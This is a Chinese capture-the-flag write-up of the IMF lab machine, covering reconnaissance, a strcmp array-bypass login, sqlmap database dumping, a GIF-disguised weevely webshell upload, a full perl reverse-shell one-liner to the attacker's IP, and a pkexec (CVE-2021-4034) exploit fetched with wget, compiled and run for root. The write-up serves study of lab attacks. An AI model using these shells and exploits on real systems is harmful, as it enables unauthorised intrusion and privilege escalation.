当前位置: 首页 > news >正文

【IMF靶场渗透】

文章目录

一、基础信息

二、信息收集

三、flag1

四、flag2

五、flag3

六、flag4

七、flag5

八、flag6


一、基础信息

Kali IP:192.168.20.146

靶机IP:192.168.20.147

二、信息收集

Nmap -sP 192.168.20.0/24

Arp-scan -l

nmap -sS -sV -p- -A 192.168.20.147

端口扫描开放了80端口,web.server:apache http-server 2.4.18

操作系统:ubuntu

访问一下查看页面信息

发现一些邮件地址和人名:

Roger S. Michaels ;rmichaels@imf.local ;Director (主任)

Alexander B. Keith ;akeith@imf.local ;Deputy Director (副主任)

Elizabeth R. Stone ;estone@imf.local ;Chief of Staff(办公室主任)

猜测用户名为:rmichaels,akeith,estone

目录探测

好像没啥发现

三、flag1

查看页面源代码发现flag1,看起来像base64编码,尝试解码,发现为:allthefiles

尝试拼接为目录发现失败,另外上面也有疑似base64编码的字符

四、flag2

看wp发现是把他们连接起来进行base64解码得到flag2,这个没想到,解码得到明文:imfadministrator

再次拼接目录得到页面,想到sql注入或者暴力破解等

查看页面源代码发现作者不建议用sql注入

这里尝试使用上面得到的用户名信息进行测试,测试发现可以先判断有无用户再猜测密码

用户名上面有分析到rmichaels;akeith;estone

发现存在rmichaels用户,可以尝试爆破一下密码,但是测试了一会儿没搞出来

看了wp,这里是进行绕过,因为这里讲到了硬编码,一般使用了一个strcmp()函数的漏洞

strcmp()函数的特点是比较输入值和指定的一个数字

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。//比较两个字符串(区分大小写)die('Flag: '.$flag);elseprint 'No';
}
?>

a输入为非字符串类型数据,就会报错,自动return 0;一般绕过方式是用数组绕过

这个时候我们可以以数组的方式传输数据,使其报错。

五、flag3

得到了flag3和一个路径

flag3{Y29udGludWVUT2Ntcw==}

解码为:continueTOcms

<a href='cms.php?pagename=home'>IMF CMS</a>

路径:http://192.168.20.147/imfadministrator/cms.php?pagename=home

但是这里cms不知道是啥,不好入手,观察到路径参数可以尝试SQL注入,抓取数据包注入

sqlmap -r sql.txt

然后继续查看里面的内容

sqlmap -r sql.txt --current-db

sqlmap -r sql.txt -D admin --tables

sqlmap -r sql.txt -D admin -T pages --columns 

sqlmap -r sql.txt -D admin -T pages -C id,pagedata,pagename --dump

六、flag4

看到提示有两个图片,下载下来有一个有一个二维码,扫码得到

flag4{dXBsb2Fkcjk0Mi5waHA=}

解码为:uploadr942.php

访问为一个文件上传页面,根据上面信息收集知道后台为php语言开发,思路为上传php木马。

先正常上传一个图片文件,成功后通过查看源代码看到重命名后的名字,猜测上传路径后可正常访问。

路径为:http://192.168.20.147/imfadministrator/uploads/4eba680d7790.jpg

得到上传路径后尝试上传一句话木马发现,有waf提示不能使用eval等函数,以及不能上传php类文件。尝试黑名单后缀名绕过但没成功,写入命令执行时jpg文件没有生效,gif文件可以,应该是.htaccess文件中有AddHandler application/x-httpd-php .gif,可将gif文件解析为php。

后面参考了其他wp的思路,结合起来选择了比较简单方法。

Weevely工具

weevely是一款使用python编写的webshell工具(集webshell生成和连接于一身),可以算作是linux下的一款菜刀替代工具(限于php),在linux上使用时还是很给力的。

先利用Weevely工具生成一个gif后门文件

weevely generate hp shll.gif

但是注意需要自己在后门文件开头加GIF89a头,不然不能成功上传

文件地址:http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif

工具连接:weevely http://192.168.20.147/imfadministrator/uploads/08e80adff22b.gif hp

连接成功后可查看到flag5

七、flag5

解码后明文为:agentservices

此时shell并不是稳定的shell连接,这个时候我们需要重新反弹一个shell到kali

nc -lvvp 8080

利用python未成功,采用了perl命令

perl -e 'use Socket;$i="192.168.20.146";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python3 -c 'import pty;pty.spawn("/bin/bash")'

此时应该进行提权了,这里提权方式参考各wp主要有两种,一种是内核提权,另一种就是根据靶机提示的后续缓冲区溢出提权(比较复杂,可自行搜索学习),这里用的是内核方面的方法

主要参考:

https://blog.csdn.net/weixin_60374959/article/details/127923839

https://www.cnblogs.com/l2sec/p/14410182.html

uname -a

lsb_release -a

系统为ubuntu 16.04.1

这里用到一个提权漏洞:CVE-2021-4034:Linux提权漏洞,主要原因在于Polkit包下的Pkexec工具存在内存损害,允许非特权用户利用提升到ROOT。

Pkexec是系统预装的工具,所以主流的都会受到影响,像Ubuntu、Debian、Fedora、Centos等,从2009年起所有的Pkexec都会受到攻击。

find / -perm -u=s -type f 2>/dev/null //列出具有suid位的文件

这里可以用已有的exp:cve-2021-4034(至于什么能想到这个,我也不清楚,靠多方面尝试吧)

下载地址:https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c

下载完上传到靶机

python -m http.server 8080                                --kali开启服务
cd /tmp                                                   --靶机进入tmp目录
wget http://192.168.20.146:8080/cve-2021-4034-poc.c       --靶机下载poc
gcc cve-2021-4034-poc.c -o exp                            --靶机反编译
chmod +x exp                                              --给与执行文件权限
./exp                                                     --执行文件

八、flag6

权限为root,可查看到Flag6,解码为Gh0stProt0c0ls

完成!

这次靶机操作下来感觉给的提示很紧密,难度感觉也有点偏高,还是学习到了很多。

相关文章:

【IMF靶场渗透】

文章目录 一、基础信息 二、信息收集 三、flag1 四、flag2 五、flag3 六、flag4 七、flag5 八、flag6 一、基础信息 Kali IP&#xff1a;192.168.20.146 靶机IP&#xff1a;192.168.20.147 二、信息收集 Nmap -sP 192.168.20.0/24 Arp-scan -l nmap -sS -sV -p- -…...

Zookeeper选举算法与提案处理概览

共识算法(Consensus Algorithm) 共识算法即在分布式系统中节点达成共识的算法&#xff0c;提高系统在分布式环境下的容错性。 依据系统对故障组件的容错能力可分为&#xff1a; 崩溃容错协议(Crash Fault Tolerant, CFT) : 无恶意行为&#xff0c;如进程崩溃&#xff0c;只要…...

深入了解 Adam 优化器对显存的需求:以 LLaMA-2 7B 模型为例 (中英双语)

中文版 深入了解 Adam 优化器对显存的额外需求&#xff1a;模型参数与优化器状态的显存开销分析 在深度学习模型的训练过程中&#xff0c;显存是一个关键的资源&#xff0c;尤其在处理大型语言模型或深度神经网络时。训练时的显存需求不仅包括模型参数本身&#xff0c;还涉及…...

数据分析学习

数据分析的定义 数据分析是通过对收集到的数据进行清理、转换、建模、分析和解释&#xff0c;从中提取有用的信息和洞察&#xff0c;以帮助做出更好的决策。数据分析可以应用于各种领域&#xff0c;比如商业、金融、医疗、市场营销等&#xff0c;目的是通过数据来发现模式、趋…...

PaddleOCR:一款高性能的OCR工具介绍

一、引言 随着人工智能技术的不断发展&#xff0c;光学字符识别&#xff08;OCR&#xff09;技术在各行各业得到了广泛应用。OCR技术能够将图片、扫描件等非结构化数据中的文字信息提取出来&#xff0c;转换为可编辑的文本格式。在我国&#xff0c;百度开源了一款优秀的OCR工具…...

Transformers快速入门代码解析(一):注意力机制——Attention:Scaled Dot-product Attention

Attention&#xff1a;Scaled Dot-product Attention 引言Scaled Dot-product Attention代码 引言 请注意&#xff01;&#xff01;&#xff01;本博客使用了教程Transformers快速入门中的全部代码&#xff01;&#xff01;&#xff01; 只在我个人理解的基础上为代码添加了注释…...

Git中HEAD、工作树和索引的区别

在Git版本控制系统中&#xff0c;HEAD、工作树&#xff08;Working Tree&#xff09;和索引&#xff08;Index&#xff09;是三个非常重要的概念&#xff0c;它们分别代表了不同的状态或区域&#xff0c;下面我将对这三个概念进行详细的解释。 HEAD 定义&#xff1a;HEAD是一…...

【python量化教程】如何使用必盈API的股票接口,获取最新实时交易数据

实时交易数据简介 股票实时交易数据涵盖股票价格、成交量、涨跌幅等多类信息。其在股票交易中极为关键&#xff0c;高速准确的数据对各方意义重大。投资者可借此及时捕捉机会、优化策略与降低风险&#xff1b;实时准确的实时交易数据是股票市场有效运转的核心要素之一。 使用…...

【C++】动态内存与智能指针——shared_ptr 和 new 结合使用

12.1.3 shared_ptr 和 new 结合使用 如上文所述&#xff0c;如果我们不初始化一个智能指针&#xff0c;那么它将会被初始化为一个空指针&#xff08;需要注意的是&#xff0c;智能指针与普通指针在此处有着非常明显的区别。如果只声明某个类型的普通指针&#xff0c;而不对它进…...

遥感数据集:FTW全球农田边界和对应影像数据,约160万田块边界及7万多个样本

Fields of The World (FTW) 是一个面向农业田地边界实例分割的基准数据集&#xff0c;旨在推动机器学习模型的发展&#xff0c;满足全球农业监测对高精度、可扩展的田地边界数据的需求。该数据集由kerner-lab提供&#xff0c;于2024年8月28日发布&#xff0c;主要特征包括&…...

马斯克的 AI 游戏工作室:人工智能与游戏产业的融合新纪元

近日&#xff0c;马斯克在 X 平台&#xff08;前身为 Twitter&#xff09;发文称&#xff0c;“太多游戏工作室被大型企业所拥有&#xff0c;xAI 将启动一个 AI 游戏工作室&#xff0c;让游戏再次变得精彩”。这一言论不仅展示了马斯克对游戏行业现状的不满&#xff0c;也揭示了…...

URDF(描述机器人模型)和SDF(Gazebo中用于描述仿真环境)

使用URDF&#xff08;Unified Robot Description Format&#xff09; URDF是ROS中用于描述机器人模型的XML格式文件。你可以使用XML文件定义机器人的几何形状、惯性参数、关节和链接等。 示例URDF文件&#xff08;my_robot.urdf&#xff09;&#xff1a; <?xml version&…...

力扣380:O(1)时间插入、删除和获取随机数

实现RandomizedSet 类&#xff1a; RandomizedSet() 初始化 RandomizedSet 对象bool insert(int val) 当元素 val 不存在时&#xff0c;向集合中插入该项&#xff0c;并返回 true &#xff1b;否则&#xff0c;返回 false 。bool remove(int val) 当元素 val 存在时&#xff0…...

【C++boost::asio网络编程】有关socket的创建和连接的笔记

socket的创建和连接 tcp客户端创建端点tcp服务端创建端点创建socket创建TCP 服务器端的 acceptor 套接字创建 acceptor 套接字并绑定客户端连接到服务器通过ip地址解析通过域名解析 服务端接收新连接 tcp客户端创建端点 int client_end_point() {std::string raw_ip_address …...

超级灵感:前端页面功能统一管理方案

前端页面功能统一管理方案 引言 我和朋友聊天想到一个灵感&#xff0c;关于支付状态机管理&#xff0c;这个类可以让我们知道具体上一个状态和下一个状态&#xff0c;这是由于那个事件触发改变&#xff0c;这个功能设计非常好&#xff01; 从而讨论出为什么我们不能把某一个…...

力扣第 77 题 组合

题目描述 给定两个整数 n 和 k&#xff0c;返回范围 [1, n] 中所有可能的 k 个数的组合。 你可以按任意顺序返回答案。 示例 示例 1 输入&#xff1a; n 4, k 2输出&#xff1a; [[1, 2], [1, 3], [1, 4], [2, 3], [2, 4], [3, 4]]示例 2 输入&#xff1a; n 1, k …...

(超详细图文)PLSQL Developer 配置连接远程 Oracle 服务

1、下载配置文件 &#xff08;超详细图文详情&#xff09;Navicat 配置连接 Oracle-CSDN博客 将下载的文件解压到单独文件夹&#xff0c;如&#xff1a;D:\App\App_Java\Oracle\instantclient-basic-windows.x64-19.25.0.0.0dbru 2、配置 打开 PLSQL Developer&#xff0c;登…...

元器件选型与参数13 电源的分类-线性电源参数 RT9013 AMS1117 PCB布局布线

目录 一、线性电源 1、重要参数 2、线性电源效率一定低吗 3、线性电源并联扩流 4、常见电路 RT9013-LDO AMS1117-xx-LDO 5、布局布线 6、外置输入与电池供电 7、单片机控制其他模组供电实现低功耗 二、开关电源与线性电源配合 1、高效率与低噪声 DC-DC电源大致分为…...

RHEL7+Oracle11.2 RAC集群-多路径(multipath+udev)安装步骤

RHEL7Oracle11.2RAC集群-多路径&#xff08;multipathudev&#xff09;安装 配置虚拟存储 使用StarWind Management Console软件&#xff0c;配置存储 dggrid1: 1g*3 Dggrid2: 1g*3 Dgsystem: 5g*1 系统表空间&#xff0c;临时表空间&#xff0c;UNDO&#xff0c;参数文件…...

每日速记10道java面试题03

其他资料 每日速记10道java面试题01-CSDN博客 每日速记10道java面试题02-CSDN博客 目录 一、你使用过java的反射机制吗&#xff1f;如何应用反射&#xff1f; 二、什么是泛型&#xff1f;泛型的作用是什么&#xff1f; 三、java的泛型擦除是什么&#xff1f; 四、Java 中…...

Ubuntu系统下交叉编译openssl

一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机&#xff1a;Ubuntu 20.04.6 LTSHost&#xff1a;ARM32位交叉编译器&#xff1a;arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...

【入坑系列】TiDB 强制索引在不同库下不生效问题

文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...

Cesium1.95中高性能加载1500个点

一、基本方式&#xff1a; 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...

土地利用/土地覆盖遥感解译与基于CLUE模型未来变化情景预测;从基础到高级,涵盖ArcGIS数据处理、ENVI遥感解译与CLUE模型情景模拟等

&#x1f50d; 土地利用/土地覆盖数据是生态、环境和气象等诸多领域模型的关键输入参数。通过遥感影像解译技术&#xff0c;可以精准获取历史或当前任何一个区域的土地利用/土地覆盖情况。这些数据不仅能够用于评估区域生态环境的变化趋势&#xff0c;还能有效评价重大生态工程…...

数据库分批入库

今天在工作中&#xff0c;遇到一个问题&#xff0c;就是分批查询的时候&#xff0c;由于批次过大导致出现了一些问题&#xff0c;一下是问题描述和解决方案&#xff1a; 示例&#xff1a; // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...

OPenCV CUDA模块图像处理-----对图像执行 均值漂移滤波(Mean Shift Filtering)函数meanShiftFiltering()

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 在 GPU 上对图像执行 均值漂移滤波&#xff08;Mean Shift Filtering&#xff09;&#xff0c;用于图像分割或平滑处理。 该函数将输入图像中的…...

Spring是如何解决Bean的循环依赖:三级缓存机制

1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间‌互相持有对方引用‌,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...

初探Service服务发现机制

1.Service简介 Service是将运行在一组Pod上的应用程序发布为网络服务的抽象方法。 主要功能&#xff1a;服务发现和负载均衡。 Service类型的包括ClusterIP类型、NodePort类型、LoadBalancer类型、ExternalName类型 2.Endpoints简介 Endpoints是一种Kubernetes资源&#xf…...

iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈

在日常iOS开发过程中&#xff0c;性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期&#xff0c;开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发&#xff0c;但背后往往隐藏着系统资源调度不当…...

Razor编程中@Html的方法使用大全

文章目录 1. 基础HTML辅助方法1.1 Html.ActionLink()1.2 Html.RouteLink()1.3 Html.Display() / Html.DisplayFor()1.4 Html.Editor() / Html.EditorFor()1.5 Html.Label() / Html.LabelFor()1.6 Html.TextBox() / Html.TextBoxFor() 2. 表单相关辅助方法2.1 Html.BeginForm() …...